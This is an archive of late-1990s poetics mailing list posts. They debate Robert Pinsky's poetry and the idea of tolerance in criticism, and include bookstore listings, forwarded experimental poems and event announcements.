single issues of RM17 are $10, postage paid
subscriptions are still only $15 (US subscribers, please pay in US$)

(single issues will be going up next issue to $12, so a subscription will save $7 over the price of two copies)

back issues are $8
our ISSN is: 0826-5909

hope that's it,
Susan

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766. **David Dowker**
Re: Debbie AN EPIC
Mon 23 Nov 1998

Thought I should throw my two cents worth in and mention that some excerpts from "Debbie: An epic" can be found at

http://home.ican.net/~alterra/robe.html

David

"By representing a trait as mutual a coin certainly does lead us into debt, but this coin, which the debtor accepts as existence, has been struck in the likeness of one's soul by the indestructible Imperium." - Debbie

> *Thank you Wendy for the breathless information. Where who how can I find it?*
>
> *Debbie by Lisa Robertson.*
>
> *Elizabeth*
>
> *Outlet Magazine -&- Double Lucy Books*
> *P.O. Box 9013, Berkeley, California 94709 U.S.A.*
> *http://users.lanminds.com/~dblelucy*

↑ Index

767. **david bromige**

debbie an epic

Tue 24 Nov 1998

I am gladdened by the interest this book is stirring among Listmembers. Its deployment of its various rhetorics is constantly engaging, and thru its devices some of the agony of our fix can actually be heard to speak, which is a phenomenal accomplishment. Its humor is excruciating; we laugh that we may not weep. The intelligence is penetrating & lucid--witness the citation re coinage from David Dowker. _Debbie_ is wicked and exonerating, despite its recurring analyses of complicity. I find this poem irresistible.

Equally so "The Device," a poem that reads like a footnote to _debbie_ , and which can be found at

http://www.theeastvillage.org

It was published originally in Cabri and Manery's zine _Hole_.

David

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768. **aerialedge**

Out of Control @ Bridge Street -- new Retallack, Mayer, Mackey, Rasula/McCaffery, Trupwire &&&

Tue 24 Nov 1998

LOTS -- New Retallack, Mayer, Mackey, Rasula/McCaffery, Tripwire &&&. Ordering & discount info at the end of the list. Bernstein's _My Way_ from U Chicago Press due in soon.

1. _Avec Sampler # 2_, ed Cydney Chadwick, $12.95. Michael Palmer, Julie Kalendek, Ann Lauterbach, Nick Piombino, Charles Borkhuis, Gad Hollander, Mary Angeline, Joe Ross, Michelle Grangaud trans Guy Bennett, Andrew Joron,

Camille Guthrie, Lisa Lubasch, Pierre Alferi trans Cole Swensen, & Elizabeth Treadwell.

2. _An Anthology of New Poetics_, ed Christopher Beach, U Alabama, $29.95. David Antin, Rae Armantrout, Charles Bernstein, Maria Damon, Michael Davidson, Rachel Blau DuPlessis, Lyn Hejinian, Susan Howe, Hank Lazer, Nathaniel Mackey, Steve McCaffery, Bob Perelman, Marjorie Perloff, Leslie Scalapino, James Sherry, Ron Silliman, John Taggart, & Barrett Watten.

3. _Ted Berrigan: An Annotated Checklist_, compiled by Aaron Fischer, Granary Books, $32.95. Essays by Fischer & Lewis Warsh. A short book for the price, 70 pages, but the Schneeman/Berrigan collaborations here, many in color, must be seen.

4. _William Blake's Illuminated Books: Collected Edition Vols. I-VI, William Blake Trust, Princeton U Press, boxed set of six paperbacks, $165.00. The volumes are Jerusalem, Songs of Innocence & Experience, Early Illuminated Books, The Continental Prophecies, Milton, & The Urizen Books.

5. _songs from navigation_, chris cheek and Sianed Jones, Reality Street, $24.95.
Book w/ C D. "that putting the key in the hole left no exit wound"

6. _The Common Good_, Noam Chomsky, interviews by David Barsamian, Odonian, $12. Don't buy it at Barnes & Chernobyl.

7. _Dance Writings and Poetry_, Edwin Denby, ed Robert Cornfield, Yale, $18. Much more of the dance writing than the poetry.

8. _Open Me Carefully: Emily Dickinson's Intimate Letters to Susan Huntington Dickinson_, ed. Ellen Louise Hart and Martha Nell Smith, Paris Press, $19.95. On the back it says "This remarkable correspondence brings to light Susan Huntington Dickinson as the central source of the poet's passion and inspiration."

9. _The Feminist Memoir Project_, ed Rachel Blau DuPlessis and Ann Snitow, Three Rivers Press, $20. Memoirs and responses by 32 writers including Kate Millett, Vivian Gornick, Michelle Wallace, Alix Kates Shulman, Joan Nestle, Jo Freeman, Yvonne Rainer, Barbara Smith, Ellen Willis and many more embody the excitement that fueled the movement and the conflicts that threatened it from within.

10. _Futures_, Ken Edwards, Reality Street, $13.95. A novel. "Eye: Yes, of course."

11. _Morning Light_, Lee Harwood, Slow Dancer, $13.95.

12. _Elephant Surveillance To Thought_, Andrew Levy, Meow, $6. "The thrall of computerization overlooks the softer, subtler aspects of a good imitation.

Inappropriate intrusion is the private sector's last ditch effort. Try soaking with fly juice to give it that emerger affect like the scared fish it imitates."

13. _Whatsaid Serif_, Nathaniel Mackey, City Lights, $12.95. " Sun cult. Cargo cult. Pharaoh's / Andalusian song our secret cargo, the / sun burning a hole in the sky . . . / The voice / was a boat where there'd be no boat. / No balm, no abdominal blessing, unless the / voice draw the torso up . . . Abdominal / scuff / and impatient loin-rut . . . Ache and orexic / trunk / sung from under . . . Hoist and thoracic / struff. . . / Dreamt beginning. Unbased / itch and intransigence. . . / End / urged inside / out"

14. _Oulipo Compendium_, ed Harry Mathews & Alistair Brotchie, Atlas Archive Six, $19.99. Large format paperback including substantial primary, biographical, bibliographical, and theoretical material including Queneau's "100, 000, 000, 000, 000 Poems."

15. _Two Haloed Mourners_, Bernadette Mayer, Granary Books, ltd edition of 100 copies, 42 pages, $12. "harmless / garden variety / like this poem / I hate it I wont mention / Alcohol stimulants & solitude / & that's why / people like Shakespeare so much / he never mentioned it / besides burning everything / leave alone one leave alone two"

16. _The Forgiveness Parade_, Jeffrey McDaniel, Manic D, $11.95. "Read the palm trees and weep."

17. _Species of Spaces & Other Pieces_, Georges Perec, Penguin, $14.95.

18. _Imagining Language: An Anthology_, ed Jed Rasula and Steve McCaffery, MIT, $55. A stunning book. Rasula and McCaffrey take examples of twentieth-century avant-garde writing as the starting point for a collection of writings that demonstrates a continuum of creative conjecture on language from antiquity to the present. The result is more laboratory than inventory. Beautifully produced oversized hardcover, 620 pages.

19. _How To Do Things With Words_, Joan Retallack, Sun & Moon, $10.95. Signed copies. Includes the hits "The Woman in the Chinese Room," "Shakespeare was a Woman," "A I D /I/ S A P P E A R A N C E," "Steinzas in Mediation," "Japanese Presentation I & II," & "The Earlier N'ames Are Almost Forgotten."

20. _Ribot 6: over 60 under 30_, ed. Paul Vangelisti, $9.95. Robert Heinecken, Catherine Wagner, Jeff Clark, Gellu Naum, Rosmarie Waldrop, Carl Rakosi, Laura Owens, Amiri Baraka, Scott Keeney, Paul Long, Brian Lucas, Noah de Lissovoy, James Mulholland & Amy Wright, Nathaniel Tarn, Keith Waldrop, Gilbert Sorrentino, Barbara Guest, Gwen McVay, &&&. "an elephant is a nice normal thing."

21. _Mortal City_, Jocelyn Saidenberg, Parentheses Writing Series, $10. "unwittingly / the guardians of taste / romance / a dead horse"

22. _Ron Silliman and the Alphabet_, ed Thomas A. Vogler, Quarry West 34, $15. Thomas C. Marshall, Hank Lazer, Tyrus Miller, Lytle Shaw, Marjorie Perloff, Silliman interview, essays, and bibliography.

23. _Talisman 19: Armand Schwerner_, ed Ed Foster, $9. Theodore Enslin, John Tritica, Andrew Schelling, Burt Kimmelman, Brian McHale, Garrett Kalleberg, Pam Rehm, Heather Ramsdell, Lisa Jarnot, Susan Wheeler, &&&. "Anomalous circus events take the shape of mandible density in the great outer planets."

24. _tripwire: a journal of poetics #2_, ed Yedda Morrison & David Buuck, $8. Stephen Farmer, Benjamin Friedlander, Danielle Collobert, Rodrigo Toscano, Brenda Iijima, Brian Kim Stefans, Noah de Lissovoy, Kristin Prevallet, Jack Hirschman, Lawless Crow, Sarah Amme Cox & Elizabeth Treadwell, Rod Smith, Robert Fitterman, Dodie Bellamy, Patrick F. Durgin, Willam T Ayton, Kathy Lou Schultz, Pamela Lu, Louis Cabri, Juliana Spahr, Anslem Berrigan, Lytle SAhaw, & Chris Chen.

25. _Homing Devices_, Liz Waldner, O Books, $9. "I still want corn ships here"

Some Bestsellers:
Poetics Journal 10: Knowledge, $14.
The Germ #2, $6.
Mysteries of Small Houses, Alice Notley, $14.95.
The Letters of Mina Harker, Dodie Bellamy, Hard Press, $13.95.
Poet Be Like God: Jack Spicer and the San Francisco Renaissance, Lew Ellingham and Kevin Killian, Wesleyan, $35.
Another Crushed Pinecone, Bernadette Mayer, $10.
The Lion Bridge: Selected Poems, Michael Palmer (signed copies), $18.95
Close Listening: Poetry and the Performed Word, Charles Bernstein ed., $24.95.
Poem on a Train, Jordan Davis, $6.
Fray, Jessica Grim, $10.
Criteria, Sianne Ngai, $10.
The Seven Voices, Lisa Samuels, $10.
Life & Death, Robert Creeley, New Directions, $19.95.
An Anthology of New (American) Poets, Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino ed, $21.95.
Moving Borders: Three Decades of Innovative Writing by Women, ed. Mary Margaret Sloan, $27.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the

books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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769. **A. Jenn Sondheim**
The Use of Full Emotion (fwd)
Tue 24 Nov 1998

-

The Use of Full Emotion

@examine Alan
Alan *sob* *boohoo* *sniff* *weep* *wail*

Has been logged on for 15 seconds.
Alan is not currently idle.
Cumulative login time is 13 hours, 41 minutes and 41 seconds.

Listening to shouts and tells. Receiving logon/logoff messages.

(Alan) Oh wail! For I do try
Alan falls swiftly down, so sadly as he stumbles, gains his speech -
(Alan) to be conveyance of desperate misery
(Alan) so much so to give credence, as I do breathe
(Alan) or lay a wreath upon this darkened earth!
Alan weeps!
Alan wails!
Alan whimpers, as in a wake for dearest friends, in this deep and mournful world
(Alan) or in this swollen hollow, as grief sustains itself with public declamation
(Alan) Think *sob*, think *whimper*, *wail* and *sniff*
(Alan) Enough to make your tears flow full; I would be sore in selfish adulation, were I ignorant of your presence, and *gasp* and *wow* and *hold-the-breath* and *laugh* and *giggle* and all the *tattered day*
(Alan) against the Shouts and Tells, against the Message, appearing without source or destination: I beg you, Read me!
Alan cries!
Alan sobs to the very fullest!
(Alan) This is the strife that makes me die content,

(Alan) Since you shall never know my full intent.
Rains fall, storms gather around stark and broken trees!
(Alan) Consider the earth, the swarm, this doomed and shattered wreath!
(Alan) Content, again, and one last *sob* and *wail*
(Alan) Or *whimper" lost, oh *sniff* and I set sail!
ALL SHIPS CRASH

↑ Index

770. **George Bowering**
Re: tolerance
Tue 24 Nov 1998

> *She reacted in a very intense and personal*
> *manner, citing how the real poetry was being shaped by the likes of Mary*
> *Oliver, Mark Doty, and a few others.*

Are these 2 real or made-up names?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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771. **Robert Archambeau**
Re: Pinsky
Tue 24 Nov 1998

> *Evidentally Mr. Pinsky missed Pound's admonitions against abstraction.*
> *He's just short of invoking "dim lands of peace..." -m.*

He didn't miss it -- Yvor Winters at Stanford convinced him that abstractions were the only thing that could save us from madness. A nutty conclusion, I admit, and not a good one for RP's poetry. But it wasn't a question of missing.

Bob

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772. david bromige
re : tolerance Bowering-style
Tue 24 Nov 1998

George! What are you doing, up this late? Yes, those names are actual. You must be kidding. There are plenty more where those came from. I dreamt I was lying in bed & the radio said the smallest piece of Canada was going to come thru the roof. I relaxed expecting a mosquito but it was Prince Edward Island! A pretty place, almost naif, good for tourists but bad news busting thru the roof. George, go to bed! I'm going to. Don yr Old Codger tasseled nightcap & yr puppy-&-kitty slippers & shuffle off of Buffalo for the peace of Bowering Manor. I'm going to. There will be time for these lists of names, & the names of the books they writ, in the morning.....then ensues the reading of them. You _are_ kidding, aren't you! Brahms

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773. miekal and
[Fwd: FLUXLIST: Celebrating the Life of Dick Higgins]
Tue 24 Nov 1998

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with SMTP id JAA26355
for <[redacted]>; Tue, 24 Nov 1998 09:38:19 -0600 (CST)
From: "Fluxus Bulletin Board" <[redacted]>
Subject: FLUXLIST: Celebrating the Life of Dick Higgins
Date: Tue, 24 Nov 1998 10:30:23 -0500
Apparently-To: [redacted]

"Celebrating the Life of Dick Higgins"
Sunday, December 27 at 3 pm
Judson Memorial Church
New York, New York

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774. Charles Alexander
Re: re : tolerance Bowering-style
Tue 24 Nov 1998

> *But then people here have been talking about one Pinsky--as if anyone had ever read Pinsky. I never have. I dont know anyone in Canada who has read Pinsky. But I know 100 Canadians who have read Tom Raworth.*

here's to those Canadians!

and yes, Raworth should be the poet laureate of Great Britain

and Lyn Hejinian the poet laureate of the USA

and Phyllis Webb the poet laureate of Canada -- although I understand she isn't writing poetry any more, so perhaps we'd give this one to Bowering, who would clearly be a sexy presence on the tube. I might have to get a satellite just to pick up the right Canadian stations

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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775. **henry**
Re: Guttapercha Bunsen is RIGHT
Tue 24 Nov 1998

On Mon, 23 Nov 1998 15:36:35 -0600 MAYHEW said:
>But Henry, this poem is written in English and we are all all too familiar
>with its diction, its tone, its devices, its rhetoric. I have read
>hundreds of poems of this ilk over the past 25 years or so. That it takes
>about 10 seconds to render a judgment about Pinksy's poem does not mean
>that it is a superficial judgment--it could be the product of years of
>experience. It's like hearing an out of tune piano--you don't have to
>think about it for hours to know it's out of tune, do you?

Undoubtedly, Jonathan. The poem was dim lands of terrible. But my point was that if critics want to be intolerant, they need to be highly informed first. The Pinskys and Heaneys (2 very different-calibre poets I guess) occupy literary space in the "real" world - a stance more complicated & subtle than is suggested by comparing the latest postmodernist acado- experiment with a bad poem by Pinsky. That's why I liked Schuchat's suggestion about the Chinese tradition of "transparency" - basically "character is style". This might be a way to ground a criticism that takes groups & politics & subcultures into account - seriously - without skimming over the detailed characteristics of an individual writer's approach.

- Henry

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776. **Henry Gould**
Re: enough already!
Tue 24 Nov 1998

Now Marjorie, you know all us "virtual" people just go into the squiggles when a "real world" critic actually joins the conversation. You shouldn't take it as picking on you at all. Nor is examining the word "tolerance" a low point of discourse for this list. But asking Guttapercha Bunsen for his resume is a bit ad hominem for conversational purposes, no? Just because he's more virtual than you are doesn't mean you have a right to rub his nose in real academic dirt ("where have YOU been published"?) & get away with it. This is snobbish, if not intolerant. & it gets my poet knickers in a dither. Because there's a point at which the clanking gears of academic controversy & intellectual rhodomontade LOSES POETRY COMPLETELY, all the while posing as the art's curators. Sorry - it's the poets who manage that themselves. Your "seriousness" & power as a critic is exemplary - & your question about publication reminds us of the sheer labor & dedicated consistency involved in pursuing any "real" vocation. And what it takes to BE the challenging critic you are calling for. But nobody has to flash their credentials to talk on this list. That's part of the wonder of it, as well as the inconsequence.

- Henry Gould

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777. **Mairead Byrne**
Re: enough already!
Tue 24 Nov 1998

Hey hey Henry Gould someone should write you a song!
But rhodomontade what a word!!
Couldn't agree with you more -- and I thought you were up to no good at that job of yours!
As an aside, can't help noticing M. Perloff's tolerance of Bloom and Vendler as we poets eviscerate one another. Certainly don't want to be a member of the Rough & Dainty Flayers of Pinsky Group.
Do agree, though, with M.P. about literary and political tolerances being mutually imbued.
Woody

On Tue, 24 Nov 1998, Henry Gould wrote:

> *Now Marjorie, you know all us "virtual" people just go into the squiggles when a "real world" critic actually joins the conversation. You shouldn't take it as picking on you at all. Nor is examining the word "tolerance" a low point of discourse for this list. But asking Guttapercha Bunsen*

> *for his resume is a bit ad hominem for conversational purposes, no?*
> *Just because he's more virtual than you are doesn't mean you have a*
> *right to rub his nose in real academic dirt ("where have YOU been*
> *published"?) & get away with it. This is snobbish, if not intolerant.*
> *& it gets my poet knickers in a dither. Because there's a point*
> *at which the clanking gears of academic controversy & intellectual*
> *rhodomontade LOSES POETRY COMPLETELY, all the while posing as the art's*
> *curators. Sorry - it's the poets who manage that themselves.*
> *Your "seriousness" & power as a critic is exemplary - & your*
> *question about publication reminds us of the sheer labor &*
> *dedicated consistency involved in pursuing any "real" vocation.*
> *And what it takes to BE the challenging critic you are calling for.*
> *But nobody has to flash their credentials to talk on this list.*
> *That's part of the wonder of it, as well as the inconsequence.*
>
> *- Henry Gould*

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778. **Michael Magee**

Re: Pinsky

Tue 24 Nov 1998

Keith, don't tell me you didn't recognize this final line of mine below as tongue in cheek? Ain't I adressing your request for "some wit with the venom"? And, respectfully, did you read the rest of my post? I *have* in fact read von Hallberg's book as well as Pinsky's "Situation" albeit a while ago now. And, as I said about young readers, the resourceful reader can like almost anything b/c reading is a creative act: von H is one of these resourceful readers to be sure. I can do a lot with Pinsky myself, though in most cases I end by questioning his merit. Take these opening lines from "The Living," from 1984:

The living, the unfallen lords of life
Move heavily through the dazzle
Where all things shift, glitter or swim -

Not bad, huh? Well, that's because they're not really his exactly. He's taken them from Emerson's essay "Experience," which opens with a poem beginning "The lords of life, the lords of life," and, in its opening paragraph, describes a state where "all things swim and glitter." "Heavily" also appears there, as does the word "shift." So as far as I can tell the only words of Pisnsky's are the not-so-hot "through the dazzle." Now, I write about Emerson, so I can do some work on this poem in that regard. And it really isn't a bad poem. But, finally, the comparison to Emerson works very much to Pinsky's detriment. Even here (and I'd say this is one of his best) the tendency to a kind of confident abstraction

grows tiresome. What makes the engine of Emerson's "Experience" run is the sense of *specificity* - the particularity of his stunningly casual (read: not confessional) admission that the essay revolves around the death of his five year old son which somehow "leaves no scar" - and the sense of fragmentation: "I know better than to claim any completeness for my picture. I am a fragment and this is a fragment of me." I would to god Pinsky had read those words carefully! Instead he seems very comfortable in the role of chronicler of "the world's rage" as he calls it in that poem. Is there such a thing as "the world's rage" in the absence of specifics. Most of all, I feel like Pinsky could have used a good dose of the Objectivists to mediate against his double-dose of Ivor Winters. Oppen wrote, "mere autonomy of the mind *or* the emotions is mendacity," and "the actuality of consciousness cannot be doubted." Good lessons.
-m.

According to Keith Tuma:
> > >As for the older folks who like Pinsky, well, they *are* Pinsky or
> >resemble him very strongly. And it's a mathematical certainty that Pinsky
> >will like Pinsky 90% of the time.
>
> As Marjorie noted in her post before the pack let loose to scramble for the
> last turd, Robert von Hallberg is an admirer of Pinsky's work and can be
> quite passionate and intelligent about it. I can assure you that he is not
> Robert Pinsky. An Explanation of America is a poem I once read with
> interest for its effort to deploy neo-Horatian and neo-Augustan
> verse-essayistic modes. I look much less like Robert Pinsky than Robert von
> Hallberg does. The more recent Pinsky verse--after that book really--
> seems to me considerably weaker as well as very different, in mode as well
> as in its relentless and finally (for me) uninteresting worrying of a
> thematics of "desire" that I suspect RP took over from his friend Robert
> Hass. And there are limits to my interest these days in the earlier mode
> at work in Explanation's post-Vietnam discursiveness, with its perhaps
> too-resonant closure warring with its nightmare scenarios of nascent
> reaganism. But it's a book that one might well know whether one decides to
> hate it or not. Passion requires context and even knowledge.
>
> Before you make a statement such as the one above you might read what von
> Hallberg has written of Pinsky in his 1984 book on American poetry, which
> also sympathetically discusses poets such as Creeley, Ashbery, Olson, Dorn,
> Bishop, Lowell etc. and remains a good study of poetry and nation-building
> (the emergence of a tone of the center in poetry as well as politics post
> WWII). Or you might read Pinsky's The Situation of Poetry, which quotes,
> among others, Bruce Andrews. Then go ahead and lob a few bombs: they'll

> be taken seriously. Mark Weiss, at least, quoted a (terrible) poem.
>
> I'm with Ron Silliman when he says that he finds it important to read poets
> in the other so-called camp. There's a funny line, by the way, in one of
> Ron's books--forget which--about "Merrill's Pinsky." That continuity would
> be worth considering, Auden behind them both, Pinsky's (early) mode crossed
> by exposure to Yvor Winters.
>
> It's a strange day when I find myself grateful for Henry Gould. (Hello Henry.)
>
> Perhaps some wit with the venom would help too. Always grateful for that.
> Sorry not to have any ready today but this discussion is depressing me.
>
> Keith Tuma
>

↑ Index

779. **Mark Prejsnar**
Camping it up
Tue 24 Nov 1998

>
> I'm with Ron Silliman when he says that he finds it important to
read poets in the other so-called camp.

Well, this is true, but i'm becoming increasingly bemused by the repetition of this banality....

Are there people on this list who have *not* read widely in all types of poetry, including the most dominant workshop/poet laureate modes????

No doubt there are some, though i wonder if there quite as many as these schoolmasterly admonitions assume....

↑ Index

780. **David Kellogg**
Re: enough already!
Tue 24 Nov 1998

> *Wow--I never expected to unleash such fury! If Gabriel G had paid attention to my first posting, he would have realized that I began by noting that Bob von H and I have just had quite a good dialogue on Howe and Pinsky with interesting pros and cons and I said there that I respected Bob's opinion very much as you'll see when that "dialogue" comes out! In the meantime, nothing like pouncing on the word*

> *"tolerance" and giving me the business.*
>
> *It's becoming tiresome. But I want to correct one thing David Kellogg said which is that "Marjorie separates political from aesthetic tolerance" etc. When the dialogue comes out, David, you'll see that my central caveat about the poem in question ("History of my Heart") is political--specifically, the patronizing treatment of the mother which I take to be quite sexist and smug. But then David loves to jump to conclusions!*

Hi Marjorie. Can I correct your correction?

I wasn't referring to your dialogue, which as you rightly point out, I haven't had the chance to read, but to your post. To quote:

"Tolerance of other people is essential in any community that professes to be democratic, yes.

But "tolerance" of poetries that one takes to be --as one member of the List said--not poetry at all but just crap is a way of undercutting the very poetry one believes in and has had a terrible effect of making things bland and unimportant."

Within the context of your post, I don't think I was jumping to conclusions. Do I really love to do that? Nor was I "giving [you] the business" -- I have too much respect for your opinions to do that. I post relatively infrequently on this list precisely because I think too-frequent posting leads to such jumping.

Love,
David
~~~
~~~

just about anyone in the Norton anthology of Modern Poetry. I "studied" writing with Karl Shapiro and Thom Gunn as an undergraduate. I guess it would be possible now, for a young person who happened to get hooked up with an avant-garde mentor early on, to bypass a lot of the mainstream or academic tradition, in which case this banality-- "you really should check out Lowell and Auden"--would have some meaning.

On Tue, 24 Nov 1998, Mark Prejsnar wrote:

> *I'm with Ron Silliman when he says that he finds it important to read poets in the other so-called camp.*
>
> *Well, this is true, but i'm becoming increasingly bemused by the repetition of this banality....*
>
> *Are there people on this list who have *not* read widely in all types of poetry, including the most dominant workshop/poet laureate modes????*
>
> *No doubt there are some, though i wonder if there quite as many as these schoolmasterly admonitions assume....*

Jonathan

↑ Index

782. **louis stroffolino**
Fescue Rant (asy)
Tue 24 Nov 1998

DOES ANYBODY KNOW THE EMAIL ADDRESS FOR HEATHER FULLER? thanks.....c

↑ Index

783. **R. Gancie/C.Parcelli**
pleasure
Tue 24 Nov 1998

Mr. Schuchat: Who said there was anything wrong with reading for pleasure. I was merely pointing out that when you attempt to browbeat a pinsky people into reading, say, Olson's Maximus, there usual response is along the lines that I only read peauxtry for pleasure. Then when I reply that I read the Maximus for pleasure, they look at me, as though I'm nuts or a liar. I'm gettin' a complex from it. Can you help me?---Carlo Parcelli

↑ Index

784. Gabriel Gudding

GABRIEL GUDDING'S RESUME

Tue 24 Nov 1998

Dear MP:

1). From what I can see of the screen through the wine stain on my glasses, I find that once again I have been mistaken for a legerdemainist.

2). As you WELL KNOW, Marjorie Perloff, I have written several definitive studies of American poetry, as well as a few seminal articles on the rhetoric of academic prose.

3). The most famous of the former, I'll remind you, is my work on the influence of Trolle's _Das italinische Volkstum und seine Abhngigkeit von den Naturbedingungen: Ein Anthropo-Geographische Versuch_ upon Whitman's 1855 Edition of LoG.

4). The work I am most proud of is "The Posthumanity of Late Capitalist Micro-Narrativity in the Novels of Pynchon and Q.R. Serif," but there's also "Re-imaging Aristotelian _Eudaimonia_ as a Legitimating Signifier in the Fuller-Thoreau Editorial Conflict" to bolster my flagging ego on morning's like these.

5). My current work-in-progress is (so far) entitled "_Times Roman_ vs. _Palatino_: A Study of the Influence of Fonts on Acceptance Rates at Leading Literary Journals, 1985-Present." (I could really use your thoughts on this one!)

6). My only book thus far is _A New Definitive and Thoroughgoing Late-Bakhtinian, Post-Lacanian, Somewhat-Foucauldian, and Certainly-Deleuzean Creative Rereading of David Bromige's Tight Corners and What's Around Them._ (Pseudonymously published under the name Omnibus P. Poppycock.)

7). I was also thinking of writing something called _The Posthuman Always Already Rings Twice: Barthes & The Importance of the Dialectical Semiotics of Nationalist Representations of Left-Handed Mail Deliverers Wearing Mauve Great Coats in Central European Epistolary Short Stories_ but I think that title might already be taken by one of your students.

On Mon, 23 Nov 1998, Marjorie Perloff wrote:

> *But then I'm afraid I don't know where*
> *Gabriel Gudding publishes his interesting commentaries. In what*
> *journals do they appear?*

You take care, Marjorie Perloff. Yours & only yours, Gabe

↑ Index

785. **miekal and**
chicago recommendations
Tue 24 Nov 1998

---

will be in Chicago (for the first time in years) this Thanks weekend & looking for some recommendations about good small press / experimental / zine book-stores to check out... also wouldnt mind hearing if there's any wild readings or shows going on.

miekal

↑ Index

786. **Gabriel Gudding**
What Are The Virtues of Name-Calling?
Tue 24 Nov 1998

On Mon, 23 Nov 1998, Marjorie Perloff wrote:
> What really troubles me is the endless name-calling here.

1). What are the virtues of name-calling?
   a). It says, I resent your exclamation points.
   b). It says, Your question marks have not been earned.
   c). It is a nice substitute for fisticuffs in an era of keyboards.
   d). As the first sublimation of physical battle, it is the spice of intellectual battle.
   e). For the abacus and the kazoo could not argue without first giving each other names.
   f). For we are all essentially nameless, and calling names highlights this little truth.
   g). It shouts DIE to the hippy vibe.

-- Guttapercha

↑ Index

787. **miekal and**
Re: Deepening tolerance
Tue 24 Nov 1998

---

slogan-free poetics

is like gravy without the meat

↑ Index

788. **Kristen Gallagher**
Re: Fescue Rant (asy)
Tue 24 Nov 1998

[redacted]

> *DOES ANYBODY KNOW THE EMAIL ADDRESS FOR HEATHER FULLER?*
> *thanks.....c*

↑ Index

789. **schuchat**
Re: enough already!
Tue 24 Nov 1998

it's true, Alphaville is a pretty good used bookstore. I've never spoken with the staff, though, so my taste has never been commented upon. nevertheless, I do read poetry for pleasure. I didn't know there was anything wrong with that.

↑ Index

790. **Joseph Conte**
Stern and Pinsky
Tue 24 Nov 1998

This is a multi-part message in MIME format.

I'm intolerant to the extent that I will not pay good money to read poetry I dislike.

Marjorie Perloff, in many lectures in which she's had at the trolls of mainstream poetics, always amazes me with the thoroughness with which she's read the poets she dislikes. She is intolerant of their mannerisms, but she knows their work well enough to attack them in public.

Know your enemy. Reconnaissance.

Did anyone catch the mewling Gerald Stern (not the howling Howard) on the News Hour last night? Holding up the copy of his book-award winning volume like a box of Bisquick? Reading the most banal poems with what one could only call a respiratory tic?

If it comes to this, please let us have the dashing, mellifluous, dare I say sexy, Mr. Pinsky as the representative of American poetry on the News Hour. However much we might prefer not to read his poetry, let's not pass over the fact that an engaging spokesperson probably "sells" more Americans on the

pleasures of poetry than the unattractive, self-congratulating, boorish, and un-interesting Mr. Stern.

Joseph Conte

Content-Description: Card for Conte, Joseph

begin: vcard
fn: Joseph Conte
n: Conte;Joseph
org: SUNY at Buffalo
adr: Department of English;;306 Clemens Hall;Buffalo;New York;14260-4610;USA
email;internet: [redacted]
title: Associate Professor
tel;work: [redacted] x1009
tel;fax: [redacted]
tel;home: [redacted]
version: 2.1
end: vcard

----------2910AF89A6ACFA125B8DDC8C--

↑ Index

791. Fred Muratori

Re: Stern and Pinsky

Tue 24 Nov 1998

>Did anyone catch the mewling Gerald Stern (not the howling Howard) on
>the News Hour last night? Holding up the copy of his book-award winning
>volume like a box of Bisquick? Reading the most banal poems with what
>one could only call a respiratory tic?
>
>If it comes to this, please let us have the dashing, mellifluous, dare I
>say sexy, Mr. Pinsky as the representative of American poetry on the
>News Hour. However much we might prefer not to read his poetry, let's
>not pass over the fact that an engaging spokesperson probably "sells"
>more Americans on the pleasures of poetry than the unattractive,
>self-congratulating, boorish, and uninteresting Mr. Stern.
>
>Joseph Conte
>
Actually, I just thought Stern (whose popularity and reputation I've never been able to fathom) looked befuddled, tentative, out-of-his-element, as most 70-something folks unaccustomed to being on television might be. His

attempt to hold his book up to the camera only succeeded in catching the white glare of the studio lights, obscuring the cover entirely. It was just embarassing. And sad. What I found more irritating were the host's (can't remember her name) attempts to ask penetrating questions ("Now...what _about_ that tortoise?") that only reminded me of a high school English teacher trying lamely to rouse a snoozing class. Almost made me run out of the room like a hare. Like a hare. Like a hare.

Still wasn't enough to make me wish for Pinsky, though.

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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792. **A. Jenn Sondheim**
Jennifer says
Tue 24 Nov 1998

-

Jennifer says

Jennifer says, already dead, we're more alive than you are. Jennifer says, take three giant steps. Jennifer says, your feet are rotting, and I just said something and you can't speak. Jennifer says, shake those arms and legs. Jennifer says, see how they run. Jennifer says, pass the antler down to Julu.

Julu says, already dead, we're more alive than you are. Julu says, I took those steps. Julu says, now spread your legs and somersault. Julu says, now shake your head in No No No! Julu says, your head falls off but we don't care. Julu says, see how you run. Julu says, see how they run after you. Julu says, pass the antler down to Nikuko.

Nikuko says, already dead, we're more alive than you are. Nikuko says, I gave those steps. Nikuko says, now drink the drink and eat the meat. Nikuko says, now jump your bones up and down. Nikuko says, shake those bones and shake

that meat. Nikuko says, take three steps backward, pass the antler down to Jennifer.

Jennifer says, already dead, we're more alive than you are. Jennifer says, I said those steps. Jennifer says, now turn yourself from side to side. Jennifer says, now run away and don't come back. Jennifer says, see how they run. Jennifer says, see how they run after you. Jennifer says, place the antler on the ground.

Julu says, place the antler.
Nikuko says, place the antler.
Jennifer says, place the antler on the ground.

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793. Carl Wilson
Re: Pinsky
Tue 24 Nov 1998

((Pardon me for jumping in here all wet for the first time; we'll skip intros for the moment, though it may be useful to know I'm writing from Toronto.))

While not agreeing with all his aesthetic shadowplays, i appreciated what Michael Magee had to say late yesterday on the Pinsky perplex: Yes, it's intriguing to consider why he has a readership that Susan Howe and all the howler monkeys we esteem haven't got. But it really is a matter of Who Exists to people who've not breached the fence and gone out searching in the wilderness -

- whether that's from lack of passion/time or simply not having had a clue dropped in their faces that there's anything beyond the fence, any door in the Magrittean sky to exit tinytown culture - or, more likely, anything other than mistaking (as is easy for any urban youth) the so-called counterculture, the hip-and-dirty bohemia in the movies and off-hours of MTV, for the Other Tradition.

